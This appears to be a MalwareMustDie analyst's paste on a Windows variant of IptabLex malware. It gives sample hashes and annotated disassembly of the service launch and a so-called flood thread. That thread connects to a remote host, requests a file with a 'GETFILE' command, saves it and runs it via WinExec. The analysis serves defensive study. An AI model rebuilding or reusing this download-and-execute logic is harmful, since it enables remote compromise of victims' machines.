#PoC of the IptabLeX windows version exists:
#MalwareMustDie! analyzed by: @unixfreaxjp
Case based on: http://blog.malwaremustdie.org/2014/06/mmd-0025-2014-itw-infection-of-elf.html
//--------------------------------
// Sample:
//--------------------------------
VT: https://www.virustotal.com/en/file/803e3f94d3e7b7ca6ebdb5194a08e13df0e9fd3bb4f2b226bec2ffb50b688002/analysis/1413370561/
MD5 : 67877403DB7F8CE451B72924188443F8
Format : Portable executable for 80386 (PE) x32
OS type : MS Windows
VT: https://www.virustotal.com/en/file/ea817834fff18e40581f096371be2a7eb062325475805e2b9c51d186ac820137/analysis/1413194264/
MD5 : 519048ffc7f6c38ab8cb4e0ddac3fad3
Format : Portable executable for 80386 (PE) x32
OS type : MS Windows
//--------------------------------
// Same usage of the testing URLs:
//--------------------------------
0x4021EB mov dl, ds:byte_0x40D215[eax] // ----> (3)
0x4021F1 mov bl, [esi]
0x4021F3 sub dl, cl
0x4021F5 add dl, bl
0x4021F7 sub dl, 73h
0x4021FA inc esi
0x4021FB mov byte ptr name[eax], dl
0x402201 inc eax
0x402202 dec edi
0x402203 jnz short loc_4021EB
0x402205 pop ebx
.rdata:0x40D216 // <------(3)
.rdata:0x40D216 aWww_yahoo_com_ db /www.yahoo.com.http://www.baidu.com.
.rdata:0x40D216 db http://www.china.com.http://www.ifeng.com,0
//--------------------------------
// IptableX service launched:
//--------------------------------
0x4034E0 ServiceSus = _SERVICE_STATUS ptr -1Ch
0x4034E0 sub esp, 1Ch
0x4034E3 push edi
0x4034E4 push 20000000h // dwDesiredAccess
0x4034E9 push 0 // lpDatabaseName
0x4034EB push 0 // lpMachineName
0x4034ED call ds:OpenSCManagerA
0x4034F3 mov edi, eax
0x4034F5 test edi, edi
0x4034F7 jz short loc_403542
0x4034F9 push ebx
0x4034FA push esi
0x4034FB push 34h; dwDesiredAccess
0x4034FD push offset String // <==== "IptabLex Services"
0x403502 push edi; hSCManager
0x403503 call ds:OpenServiceA
0x403509 mov ebx, ds:CloseServiceHandle
0x40350F mov esi, eax
0x403511 test esi, esi
0x403513 jz short loc_40353D
0x403515 lea eax, [esp+28h+ServiceStatus]
0x403519 push eax; lpServiceStatus
0x40351A push esi; hService
0x40351B call ds:QueryServiceStatus
0x403521 test eax, eax
0x403523 jz short loc_40353A
0x403525 cmp [esp+28h+ServiceStatus.dwCurrentState], 4
0x40352A jnz short loc_40353A
0x40352C lea ecx, [esp+28h+ServiceStatus]
0x403530 push ecx; lpServiceStatus
0x403531 push 1 ; dwControl
0x403533 push esi; hService
0x403534 call ds:ControlService
//--------------------------------
// DDOS FUNCTION:
//--------------------------------
// DWORD __stdcall sub_402680(LPVOID)
// thread for flood..
0x402680 mov eax, [esp+arg_0]
0x402684 pus esi
0x402685 xor esi, esi
0x402687 test eax, eax
0x402689 jz short 0x4026C5
0x40268B pus ebx
0x40268C mov bx, [eax+5]
0x402690 pus ebp
0x402691 mov bp, [eax+7]
0x402695 pus edi
0x402696 mov edi, [eax+1]
0x402699 pus eax
0x40269A call 0x4056A0 // runtime libs..
0x40269F add esp, 4
0x4026A2
0x4026A2 loc_0x4026A2: // xref:0x4026C0 <---(2)
0x4026A2 push ebp// buf
0x4026A3 push ebx// hostshort
0x4026A4 push edi// int
0x4026A5 inc esi
0x4026A6 call 0x402460 // <===== heres the flood ----->(1)
:
0x4026AB add esp, 0Ch
0x4026AE test eax, eax
0x4026B0 jnz short 0x4026C2
0x4026B2 push 0BB8h // dwMilliseconds
0x4026B7 call ds:Sleep // sleep in msec
0x4026BD cmp esi, 5
0x4026C0 jl short 0x4026A2 ----------->(2) //loop
[...]
// int __cdecl sub_0x402460(int, u_short hostshort, char buf)
0x402460 sub esp, 0x0914 // xref: 0x4026A6 <-------(1)
0x402466 pus ebx
0x402467 pus ebp
0x402468 pus esi
0x402469 pus edi
0x40246A pus 0x00
0x40246C pus 0x01
0x40246E pus 0x02
0x402470 mov dword ptr [esp+1C], 0x00
0x402478 call dword ptr [0x40D1E4] // socket@WS2_32.DLL (Import, 3 Params)
0x40247E mov esi, eax
0x402480 test esi, esi
0x402482 jl 0x40266B // target: 0x40266B
0x402488 mov eax, dword ptr [esp+0000092C]
0x40248F mov word ptr [esp+14], 0002
0x402496 pus eax
0x402497 call dword ptr [0x40D1B8] // tons@WS2_32.DLL (Import, 1 Params)
0x40249D mov ecx, dword ptr [esp+00000928]
0x4024A4 lea edx, dword ptr [esp+14]
0x4024A8 pus 0x10
0x4024AA pus edx
0x4024AB pus esi
0x4024AC mov word ptr [esp+22], ax
0x4024B1 mov dword ptr [esp+24], ecx
0x4024B5 call dword ptr [0x40D1E8] // connect@WS2_32.DLL (Import, 3 Params)
0x4024BB test eax, eax
0x4024BD jl 0x40266B // target: 0x40266B
0x4024C3 mov ecx, 00000x40
0x4024C8 xor eax, eax
0x4024CA lea edi, dword ptr [esp+24]
0x4024CE rep stosd
0x4024D0 lea eax, dword ptr [esp+24]
0x4024D4 pus eax
0x4024D5 call 0x4023E0 // target: 0x4023E0
0x4024DA lea edi, dword ptr [esp+28]
0x4024DE or ecx, FFFFFFFF
0x4024E1 xor eax, eax
0x4024E3 repne scasb
0x4024E5 not ecx
0x4024E7 dec ecx
0x4024E8 lea ecx, dword ptr [esp+ecx+28]
0x4024EC pus ecx
0x4024ED call 0x4020E0 // target: 0x4020E0
0x4024F2 mov ebp, dword ptr [0x40D1EC] // send@WS2_32.DLL (Import, 4 Params)
0x4024F8 add esp, 08
0x4024FB lea edx, dword ptr [esp+00000930]
0x402502 pus 0x00
0x402504 pus 0x02
0x402506 pus edx
0x402507 pus esi
0x402508 call ebp // send@WS2_32.DLL (Import, 4 Params)
0x40250A cmp eax, 02
0x40250D jne 0x4025FD // target: 0x4025FD
0x402513 mov ebx, dword ptr [0x40D1F0] // recv@WS2_32.DLL (Import, 4 Params)
0x402519 mov ecx, 00000200
0x40251E xor eax, eax
0x402520 lea edi, dword ptr [esp+00000124]
0x402527 rep stosd
0x402529 pus eax
0x40252A lea eax, dword ptr [esp+00000128]
0x402531 pus 00000800
0x402536 pus eax
0x402537 pus esi
0x402538 call ebx// recv@WS2_32.DLL (Import, 4 Params)
0x40253A cmp eax, 04
0x40253D jne 0x402662 // target: 0x402662
0x402543 mov edx, dword ptr [esp+00000124]
0x40254A mov ecx, 00000200
0x40254F xor eax, eax
0x402551 lea edi, dword ptr [esp+00000124]
0x402558 rep stosd
0x40255A pus edx
0x40255B lea ecx, dword ptr [esp+00000128]
0x402562 pus 0x40F070 // ASCII "GETFILE_%08X" <==== GET COMMAND
0x402567 pus ecx
0x402568 mov dword ptr [esp+1C], edx
0x40256C call 0x405E8A // // target: 0x405E8A
0x402571 lea edi, dword ptr [esp+00000130]
0x402578 or ecx, FFFFFFFF
0x40257B xor eax, eax
0x40257D add esp, 0C
0x402580 repne scasb
0x402582 not ecx
0x402584 dec ecx
0x402585 pus eax
0x402586 mov edi, ecx
0x402588 lea edx, dword ptr [esp+00000128]
0x40258F inc edi
0x402590 pus edi
0x402591 pus edx
0x402592 pus esi
0x402593 call ebp // send@WS2_32.DLL (Import, 4 Params)
0x402595 cmp eax, edi
0x402597 jne 0x402662 // target: 0x402662
0x40259D lea eax, dword ptr [esp+24]
0x4025A1 pus 0x40F068
0x4025A6 pus eax
0x4025A7 call 0x405D3E // target: 0x405D3E
0x4025AC mov ebp, eax
0x4025AE add esp, 08
0x4025B1 test ebp, ebp
0x4025B3 je 0x4025FD // target: 0x4025FD
0x4025B5 mov ecx, 00000200 // xref: 0x4025F2
0x4025BA xor eax, eax
0x4025BC lea edi, dword ptr [esp+00000124]
0x4025C3 pus eax
0x4025C4 rep stosd
0x4025C6 lea ecx, dword ptr [esp+00000128]
0x4025CD pus 00000800
0x4025D2 pus ecx
0x4025D3 pus esi
0x4025D4 call ebx recv@WS2_32.DLL (Import, 4 Params)
0x4025D6 mov edi, eax
0x4025D8 test edi, edi
0x4025DA jle 0x4025F4 // target: 0x4025F4
0x4025DC pus ebp
0x4025DD pus edi
0x4025DE lea edx, dword ptr [esp+0000012C]
0x4025E5 pus 0x01
0x4025E7 pus edx
0x4025E8 call 0x405D51 // target: 0x405D51
0x4025ED add esp, 10
0x4025F0 cmp eax, edi
0x4025F2 je 0x4025B5 // target: 0x4025B5
0x4025F4 pus ebp // xref: 0x4025DA
0x4025F5 call 0x405A54 // target: 0x405A54
0x4025FA add esp, 0x04
0x4025FD pus esi // xref: 0x40250D 0x4025B3
0x4025FE call 0x407E3E // target: 0x407E3E
0x402603 lea eax, dword ptr [esp+28]
0x402607 pus 0x00
0x402609 pus eax
0x40260A call 0x40CE32 // target: 0x40CE32
0x40260F add esp, 0C
0x402612 test eax, eax
0x402614 jne 0x40266B // target: 0x40266B
0x402616 lea ecx, dword ptr [esp+24]
0x40261A pus ecx
0x40261B call 0x4023A0 // target: 0x4023A0
0x402620 mov ecx, dword ptr [esp+14]
0x402624 add esp, 0x04
0x402627 cmp eax, ecx
0x402629 je 0x402645 // target: 0x402645
0x40262B lea edx, dword ptr [esp+24]
0x40262F pus edx
0x402630 call 0x402450 // target: 0x402450
0x402635 add esp, 0x04
0x402638 xor eax, eax
0x40263A pop edi
0x40263B pop esi
0x40263C pop ebp
0x40263D pop ebx
0x40263E add esp, 0x0914
0x402644 ret // function end 0x402460
0x402645 lea eax, dword ptr [esp+24] // xref: 0x402629
0x402649 pus 0x00
0x40264B pus eax
0x40264C call dword ptr [0x40D0EC] // WinExec@KERNEL32.DLL (Import, 2 Params)
0x402652 pop edi
0x402653 pop esi
0x402654 pop ebp
0x402655 mov eax, 0x01
0x40265A pop ebx
0x40265B add esp, 0x0914
0x402661 ret // function end 0x402460
0x402662 pus esi // xref: 0x40253D 0x402597
0x402663 call 0x407E3E // target: 0x407E3E
0x402668 add esp, 0x04
0x40266B pop edi // xref: 0x402482 0x4024BD 0x402614
0x40266C pop esi
0x40266D pop ebp
0x40266E xor eax, eax
0x402670 pop ebx
0x402671 add esp, 0x0914
0x402677 ret
;;------------------
;; #MalwareMUSTDIe!
Comments